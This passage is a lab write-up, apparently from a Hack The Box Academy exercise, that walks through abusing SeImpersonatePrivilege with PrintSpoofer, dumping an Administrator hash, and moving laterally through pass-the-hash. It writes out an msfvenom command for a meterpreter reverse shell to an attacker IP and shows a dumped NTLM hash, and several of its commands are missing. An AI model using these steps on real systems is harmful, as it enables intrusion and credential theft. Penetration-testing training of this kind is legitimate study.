Privilege Escalation

Once we run whoami /priv we get privilege information:

Privilege Name                Description                               State      

============================= ========================================= ========   

SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled   

SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   

SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    

SeImpersonatePrivilege        Impersonate a client after authentication Enabled    

SeCreateGlobalPrivilege       Create global objects                     Enabled    

SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

We can see that we have SeImpersonatePrivilege which can be abused by printSpoofer. I downloaded the .exe file and uploaded it to the linux attack box:

scp PrintSpoofer32.exe  [email protected]:/home/htb-student/Desktop/ad

And then on the attack box I created a shell using msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.7.240 LPORT=1337 -f exe > fshell.exe

I experimented with multiple payloads and windows/x64/meterpreter/reverse_tcp seems the only one that gives me a shell with full privileges.

Now we need to upload both files into the SQL01 machine from the mssqlclient.py:

Before we run the ultimate command we need to setup a meterpreter session:

Now run the ultimate command:

Once we get a shell, we can type hashdump to get the hash for Administrator.

Lets try using the hash to access MS01 (172.16.7.50).

First we use crackmapexec to see if this hash can be used:

And it says (Pwn3d!)

First Approach

So lets try winrm to authenticate:

Second Approach

Using meterpreter psexec exploit. We have the hash from before 00000000000000000000000000000000:bdaffbfe64f1fc646a3353be1c2c3c99

We find the exploit in msfconsole:

We have to set a few things:

This makes it simpler instead of running scripts from host to host.

Third Approach

Instead of using meterpreter shell I used psexec directly to get a shell:

Last updated

Was this helpful?